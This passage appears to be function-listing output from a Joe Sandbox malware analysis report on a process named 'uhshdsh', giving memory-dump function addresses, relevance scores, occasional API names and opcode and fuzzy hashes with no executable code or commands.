Instruction Fuzzy Hash: 7D315C70A00219DFDB55DF69C958AAEBBF2EF88710F108069E406EB3A4DB749D01CB90

Function 05275C20 Relevance: 1.3, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 05275CA6

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1713d1c63e2795af6424054a8f88a7639cde968fae6574cb98a664483b5dae66
Instruction ID: e2bf5278408c0cabd0ccdc608b05ff281643a462c1e64be9c3570dacb9979cec
Opcode Fuzzy Hash: 1713d1c63e2795af6424054a8f88a7639cde968fae6574cb98a664483b5dae66
Instruction Fuzzy Hash: 2131EBB5D11218DFCB10CFA9D984AEEFBB1BF49310F14946AE815B7250C738A941CFA4

Function 05275C28 Relevance: 1.3, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 05275CA6

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 008775991880ebe6c31e16a977e9939c9a038d789dd7c40f315d087a925f56f5
Instruction ID: 0bfa247b1a1e9e9dfc39871aa8c95300c1495a8982873671256719b28bd0d8bb
Opcode Fuzzy Hash: 008775991880ebe6c31e16a977e9939c9a038d789dd7c40f315d087a925f56f5
Instruction Fuzzy Hash: 6B31FDB5D112189FCB10CFAAD984AEEFBB5BF49310F14802AE815B7250C738A941CFA4

Function 01800857 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

Tejq, xrefs: 0180087C

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: f3812a396e632522de83af4c898a0586f451db83bc05a5c99e8ed8a2032a99e9
Instruction ID: 968dc0abbfe63522f135afefbde76818e6c866ad6884c23dcb67325b3aa614c5
Opcode Fuzzy Hash: f3812a396e632522de83af4c898a0586f451db83bc05a5c99e8ed8a2032a99e9
Instruction Fuzzy Hash: 85118C30A001099FDB15DBA9C959BDEBBB1BB48750F108029E902F73A8DB745A01CBA1

Function 05245230 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

, xrefs: 05245564

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 6239dc2db9b804a0bfef52ad200fdbeb142f1c9743adc652c54c607dc50922c2
Instruction ID: 512cfa7888356ee7bccdd4e90e4e15003e4a08ddea3331f9c2c9d1131d26ad81
Opcode Fuzzy Hash: 6239dc2db9b804a0bfef52ad200fdbeb142f1c9743adc652c54c607dc50922c2
Instruction Fuzzy Hash: 9F211671A15228DFEB25CF14CC54BDABBBABF49304F0081DAE54DA7280CB715A88CF50

Function 01800868 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

Tejq, xrefs: 0180087C

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: de60864c187ce4025d2ed25c2b30fad0bbfb92471c34bc3250ddaf91ab175e3a
Instruction ID: 01de6216fb4ffa804fa4af70b45bae805cc5a7ed9f41d515e204e33e4a3dfaf1
Opcode Fuzzy Hash: de60864c187ce4025d2ed25c2b30fad0bbfb92471c34bc3250ddaf91ab175e3a
Instruction Fuzzy Hash: 78116D74A002198FDB15DBA8C959BDEBBB1AF48700F108029E502B73A4DF745E04CBA1

Function 05243C40 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

0, xrefs: 05243C68

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7710c9eb797e5c2697734f56cf54a956bedbcdd636def770a73ffc729e1206c8
Instruction ID: 031b0c2595ac876489a016d7a11af448fbf2984d3bdea36d0f1075dd3b9d3e2a
Opcode Fuzzy Hash: 7710c9eb797e5c2697734f56cf54a956bedbcdd636def770a73ffc729e1206c8
Instruction Fuzzy Hash: E221AD74A25268DBDB68DF54D888B9CBBB1BF09301F5085DAD509B7290C7B45EC0CF90

Function 052449AD Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

E, xrefs: 05244A1E

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: d85fa205d62627e1bbcb1aefd9d8d56a064a42c96f9cdc4e7bf1558d7ad54c17
Instruction ID: be9501d053be2b8dd026a4f90bad5b0938bdecceb361656d94012a3ba64223fe
Opcode Fuzzy Hash: d85fa205d62627e1bbcb1aefd9d8d56a064a42c96f9cdc4e7bf1558d7ad54c17
Instruction Fuzzy Hash: C201127590065AEBCB15CF58D844BDDBB71FF18301F108A8AE90A67250CBB0AEC0CF80

Function 0524470F Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

>, xrefs: 0524471A

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 13ed88c597a78b343e66a82733badc4402ff55a93979f1b45ac51bf4dd478835
Instruction ID: c4d6fd15fe4d0498f251f9f615e8c518f0d8682ca51a24059704a346cafb02a6
Opcode Fuzzy Hash: 13ed88c597a78b343e66a82733badc4402ff55a93979f1b45ac51bf4dd478835
Instruction Fuzzy Hash: 1D018078A15268DBCB29DF54E849BECBBB1FF09301F1085D5E50AA6290CBB55ED0CF44

Function 01800D49 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

8nq, xrefs: 01800D65

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: 8nq
API String ID: 0-2810462305
Opcode ID: db59bc6bac982251e54a9b3cad3774acf28055aa67753d084f993c471fd3f3ec
Instruction ID: 88dea1a86e21877b541a9b84870f03e4f59a8644bcb72e8b3e5d455ca5b5a725
Opcode Fuzzy Hash: db59bc6bac982251e54a9b3cad3774acf28055aa67753d084f993c471fd3f3ec
Instruction Fuzzy Hash: AEF0A0317000108FC314DBACF848FA9BBE6EF8C381B0442A9E409CB3A5CB799D45CB90

Function 01800D58 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

8nq, xrefs: 01800D65

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: 8nq
API String ID: 0-2810462305
Opcode ID: a0e9b325bf4f0866ed177bf75e6550dfd586f19b72d2c0ec865fc4b5fe5bb467
Instruction ID: 2bc45189241bf4823f26236eea295067ed319f4ebd59d22e53cc5659f0eaa6dd
Opcode Fuzzy Hash: a0e9b325bf4f0866ed177bf75e6550dfd586f19b72d2c0ec865fc4b5fe5bb467
Instruction Fuzzy Hash: 57E092307001148FC354DB6DF448F59B7EAEB8C281B004168E50987364CB79ED058F90

Function 05243F90 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

7, xrefs: 05243FE8

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 4748f7c27db31a2b552496879fbebbb4a2392f8a04261bd4d8e39c6553f5b93d
Instruction ID: 3ab4a14a5a4964763de53f66f9eb67f5aebd5ff698af99a0cd221343f9355fda
Opcode Fuzzy Hash: 4748f7c27db31a2b552496879fbebbb4a2392f8a04261bd4d8e39c6553f5b93d
Instruction Fuzzy Hash: C8F0F434910118CFCB15CB14C954A9CBBF5FF49304F0081EA8409AB251CB309A85CF00

Function 05243DBC Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

7, xrefs: 05243FE8

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: e57c5a760a7e5a5686612a60395a7765470363e8c7f7fb3cd2f5461bd22432ce
Instruction ID: 318dfcc745723e9988c47df53efb89b494b5aa8d4c7a366f4380758b59d25d17
Opcode Fuzzy Hash: e57c5a760a7e5a5686612a60395a7765470363e8c7f7fb3cd2f5461bd22432ce
Instruction Fuzzy Hash: 7FE09278910218CFCB14CF54C984A99B7F5EF49305F1585DAD409AB341D775AA8ACF40

Function 05244BF1 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

1, xrefs: 05244256

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: 6b6cc34efe9f1efbacb57a5f08ab16f6df56518fa1916692e7f77f30f249cade
Instruction ID: 9d90800a24a5c8dddffac9b9c32103d4bc53f7c699fbb9f9f710596a0cce819b
Opcode Fuzzy Hash: 6b6cc34efe9f1efbacb57a5f08ab16f6df56518fa1916692e7f77f30f249cade
Instruction Fuzzy Hash: B4E0BD7492526C8FDFA8DF60C848BAAB6B1BB15319F2096D9C00D73344CBB00AC8CF15

Function 05244233 Relevance: 1.3, Strings: 1, Instructions: 9COMMON

Download Yara Rule

Strings

1, xrefs: 05244256

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: 1ac4b9331406396d814f5e5b9e03c2ae9fb519986745cd01eb584b658cd4769a
Instruction ID: 85355d78eed6c028ecb5f842bbf1f1534397d780990a23026ccaae583e855da9
Opcode Fuzzy Hash: 1ac4b9331406396d814f5e5b9e03c2ae9fb519986745cd01eb584b658cd4769a
Instruction Fuzzy Hash: 7DD092789052688BCBA4DF20C888789B6B1BB54314F2081C9C00D62344DBB04AC88F04

Function 05243828 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba02593521b104695cde84181c115aac22406433e3402aa6a48365808f9a0883
Instruction ID: e9dfd0d1ee423370db827c5d0ffd01f0ef51b48f13fdc15c71b5e7eb2447c4ee
Opcode Fuzzy Hash: ba02593521b104695cde84181c115aac22406433e3402aa6a48365808f9a0883
Instruction Fuzzy Hash: 76C10874A14218CFDB54DFA8E898BAEBBB2FF49301F5041A9D40AA7390DB785D85CF44

Function 05241E10 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c9e3460e97adc10e9109613c33cfca200bbee0fb27a1f3bacc695a0c5048255
Instruction ID: b417ce441a28adf0e7d5af13c4989339b8370caad7ddaa703c8deabe62c5770b
Opcode Fuzzy Hash: 8c9e3460e97adc10e9109613c33cfca200bbee0fb27a1f3bacc695a0c5048255
Instruction Fuzzy Hash: 1CC1E374A14219CFDB54EFA8E898BADBBB2FF49301F1081AAD409A7354CB745D81CF41

Function 052437F2 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fba659330962426a6949513918322ae1151e2647d42723d11a20ee9e9e490b
Instruction ID: 9c2a573d4a4e238a30c68d3bce274403017fa587fcac97df75b642b2772a37c9
Opcode Fuzzy Hash: 24fba659330962426a6949513918322ae1151e2647d42723d11a20ee9e9e490b
Instruction Fuzzy Hash: 98B12A74A14218CFDB58DFA8E898BADBBB2FF49301F5044A9D40AA7390DB785D85CF44

Function 05241D30 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4ad37ed96bdc15792bceeb149d51d49825f8967a402b556357c5d15cf10035
Instruction ID: 5e63539e96f991d0d980e299dd4ecd28b1a89e8335e514927077236268e4bec3
Opcode Fuzzy Hash: ac4ad37ed96bdc15792bceeb149d51d49825f8967a402b556357c5d15cf10035
Instruction Fuzzy Hash: 07B1F174A14218CFDB64DF69E898BADBBB2FF89301F1081AAD409A7354DB741D85CF41

Function 05241261 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8178b85eb6eed0212a559ba734ca235a8e96e84e2b7745ec5170185919ea1b99
Instruction ID: e1f2660779147d62cf3cf35dcf95a60ef38db0d9dae32ebe58763704d7f1b48a
Opcode Fuzzy Hash: 8178b85eb6eed0212a559ba734ca235a8e96e84e2b7745ec5170185919ea1b99
Instruction Fuzzy Hash: B591F474A15258CFDB54DFA8E888BADBBF2FF48705F2080AAD449AB295D7745984CF00

Function 05240772 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c74feb586d1f7a7f7e43b0b2cd3dbc4a6cc5b02bdb7ba64d844ee20886d042d
Instruction ID: 28cbf5112904fd6bb1b170e464ecc6170dc668db45c0920d68096a86a5bee4b8
Opcode Fuzzy Hash: 5c74feb586d1f7a7f7e43b0b2cd3dbc4a6cc5b02bdb7ba64d844ee20886d042d
Instruction Fuzzy Hash: 3E912970E15208CFDB54DFA9E948BADBBF2FF48304F10806AD509AB281DB785885CF44

Function 05240780 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0fa7b322907fcbcfc0380f87ff1fee46b1842abc8a1073cb6381c02a95f6b8a
Instruction ID: 64f56cc231929e356797e639c646e44aede8b391e745f95ab0e66f7c524256b7
Opcode Fuzzy Hash: c0fa7b322907fcbcfc0380f87ff1fee46b1842abc8a1073cb6381c02a95f6b8a
Instruction Fuzzy Hash: D5811870E15208CFDB54DFA9E998BADBBF2FF48300F10806AD509AB281DB785985CF44

Function 068BBCD0 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0853aa13d8836085b61c7fb1b97a988ee531627228946873e1e059cfc8ad2dc3
Instruction ID: b7459e52cdb575499308fd50776861e0f4f6b94f3eacb2f67300be3f3dbd0568
Opcode Fuzzy Hash: 0853aa13d8836085b61c7fb1b97a988ee531627228946873e1e059cfc8ad2dc3
Instruction Fuzzy Hash: 0781EE74E0520CDFDB48DFA8E4986EEBBB1FB48305F209029E51AA7364CB785945CF91

Function 05240A85 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afe351760d6209fc5a2a015e80027490a4c0891783913aa3bebd05eba7b172d9
Instruction ID: e22ecda96af9e643cf6978028fad2044264d0c4dca828466e9d16918ead6eb50
Opcode Fuzzy Hash: afe351760d6209fc5a2a015e80027490a4c0891783913aa3bebd05eba7b172d9
Instruction Fuzzy Hash: 7F711974E15208CFDB14DFA9E598BADBBF2FF48301F2080AAD509AB281D7745885CF40

Function 05242C6B Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb7b0f3a14554700ce172922472d9d8a62cbc97e4d70b08456df4be6fa3ea90
Instruction ID: 1b4a9705d78fb32215ca7fdf71312d3d3a51b483d285448fdc8762508b90a136
Opcode Fuzzy Hash: 5bb7b0f3a14554700ce172922472d9d8a62cbc97e4d70b08456df4be6fa3ea90
Instruction Fuzzy Hash: AA81F374E15219CFDB54EF6AE884B9ABBB2FF48301F1081A9E409A7354DB745E81CF41

Function 01807C40 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d014772248aa7270cd8f504915b0db3ec1e179009fe60b9dbcdeee6b5a11249b
Instruction ID: 4735db9fad412e609d2f8741e8825a1ca8c39209f0ce30b1be850a27d30c0b1c
Opcode Fuzzy Hash: d014772248aa7270cd8f504915b0db3ec1e179009fe60b9dbcdeee6b5a11249b
Instruction Fuzzy Hash: 0551E470A0960CDFD782DFA8D8197ADBFB1EF45300F5480A9D586D7291DB385A80CB85

Function 0174D60C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277444612.000000000174D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0174D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_174d000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb01c90eef5a81c9d65c8e5504b11696c0508a7e921974596f759f053c35a04e
Instruction ID: 3ed41e1be68862f236b8d43b41f74ebe15d006028c08dc5226b3cbe9df6a74e3
Opcode Fuzzy Hash: cb01c90eef5a81c9d65c8e5504b11696c0508a7e921974596f759f053c35a04e
Instruction Fuzzy Hash: 50214571500204DFDB25DF98D9C0F26FF66FBA8350F2081A9E94D0B256C33AD456CBA2

Function 0175D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277508171.000000000175D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0175D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_175d000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3872f5717013afa6c29fe0669e31bcfdea670903ef07eba01a7c5ea97e202be0
Instruction ID: f8c43e8b2e9781a4ac468a1a44698f40bc8930aa6c93e03cf2a5840db1cdb67c
Opcode Fuzzy Hash: 3872f5717013afa6c29fe0669e31bcfdea670903ef07eba01a7c5ea97e202be0
Instruction Fuzzy Hash: 79213371104244DFCB61DF58D9C4B26FF65FB88320F2085A9ED090B242C37AC406C7B2

Function 01807C50 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3222224ec6a272b83bec9cd73fed56b994b1aba5e88322cde3896f9ff4517e52
Instruction ID: b7e8a378f959ac5f53803c95740bbef50b9ca6f35c4f0d667cc977786d15a740
Opcode Fuzzy Hash: 3222224ec6a272b83bec9cd73fed56b994b1aba5e88322cde3896f9ff4517e52
Instruction Fuzzy Hash: CC31F8B0A0520CDFE781EFA9D4487AEBBF1FB48305F1080A5D446E3384DB785A84CB55

Function 052462F4 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a9b3a70dbeb60a74fead1b94e58793d2c9c80fbefde0ea5760d2965fb5d472
Instruction ID: f32f775f783d50a5981179643be102cea7485e745a53c051144bdcd9a8165248
Opcode Fuzzy Hash: f0a9b3a70dbeb60a74fead1b94e58793d2c9c80fbefde0ea5760d2965fb5d472
Instruction Fuzzy Hash: 3731E370F16258CFDB14CF99E448BADBBB2BF49301F5080A6E449AB255D3785D85CF00

Function 05242438 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 106636adef258aaeaa05702c3cb19d778f2b9b068ef34e5afe9823694a4b4e79
Instruction ID: 52385e3a9868a83be4b54019a36876cd095342f415b20fc6515a00b049fda2e1
Opcode Fuzzy Hash: 106636adef258aaeaa05702c3cb19d778f2b9b068ef34e5afe9823694a4b4e79
Instruction Fuzzy Hash: 46216978D2420ACFDB04DFA9D848BEEBBB2FF48305F008065E515A3384CBB859448F91

Function 05242448 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6986f8263e3e6c32c71627edd723935a2356fe9630437c95642f3e9444c7f1
Instruction ID: b9605e3cfc980dc8cda5aa258605643838614929e9e4881962251f9911932870
Opcode Fuzzy Hash: 4b6986f8263e3e6c32c71627edd723935a2356fe9630437c95642f3e9444c7f1
Instruction Fuzzy Hash: 27213C78D2420ADFDB08DFA9D448BEEBBB6FF49305F104065E415A7384DBB859448F91

Function 0175D005 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277508171.000000000175D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0175D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_175d000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6630d819f369bce4e7fea7938ea41181f7fd100b085ef9217d1ebc4bda0c2b9
Instruction ID: 0b977ffe5c6c4f75ea2aed0d167a17e22bee44d8a15bf505b0364edff421d3b2
Opcode Fuzzy Hash: b6630d819f369bce4e7fea7938ea41181f7fd100b085ef9217d1ebc4bda0c2b9
Instruction Fuzzy Hash: 9F21A1710083809FDB13CF14D994B15BF71EB86214F2885EAD9494B257C33AD81ACB62

Function 0180D398 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e9ed6a204cf4fdc73caf797c10209f2afc56f5c3d94a8a0d00216bb8d57266
Instruction ID: 840a6224d3697f9f11f0456fab47ef9c69eb4e4ba1349fa6bedcc91cb132af2b
Opcode Fuzzy Hash: d6e9ed6a204cf4fdc73caf797c10209f2afc56f5c3d94a8a0d00216bb8d57266
Instruction Fuzzy Hash: A0111270D0420DCFCB45DFD9D8456EEBBB6AB88310F10912AE518B3280EB705A85CBA4

Function 0174D607 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277444612.000000000174D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0174D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_174d000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: c3dfa89ece0b6b79d2ded8a3f1797b8363d58ee2faa7e5f7a518d32a87c06e89
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: B511CA72404280CFDB12CF44D9C4B16BF62FB98324F2486A9D9490A256C33AD45ACBA2

Function 068BF2A0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fb38de8c72218083585f2dc9dfcda18fa5dd21dc63ada8e68e1843596a4b237
Instruction ID: d3c7af0b18200552574c2c1da77fb6e61f9f10c96a88831e0886261c1f71a934
Opcode Fuzzy Hash: 4fb38de8c72218083585f2dc9dfcda18fa5dd21dc63ada8e68e1843596a4b237
Instruction Fuzzy Hash: C311F7B0E0020A9FCB44DFA9C9456AFFBF5FF88300F20856A9518A7354DB345A41CB95

Function 01800C9A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f264370bdfcd48c4df8eb75f0a2359b724e9086985b055468648dbd14e5eaa
Instruction ID: fc9b004b7fd30889749faa3a528609261e83111a37f99c399228d74922258374
Opcode Fuzzy Hash: f3f264370bdfcd48c4df8eb75f0a2359b724e9086985b055468648dbd14e5eaa
Instruction Fuzzy Hash: 71018FB0D0434E8FDB52DFA988552AEBFB0AF45310F0481AAD804E7296E6380602CBD1

Function 068A28F3 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

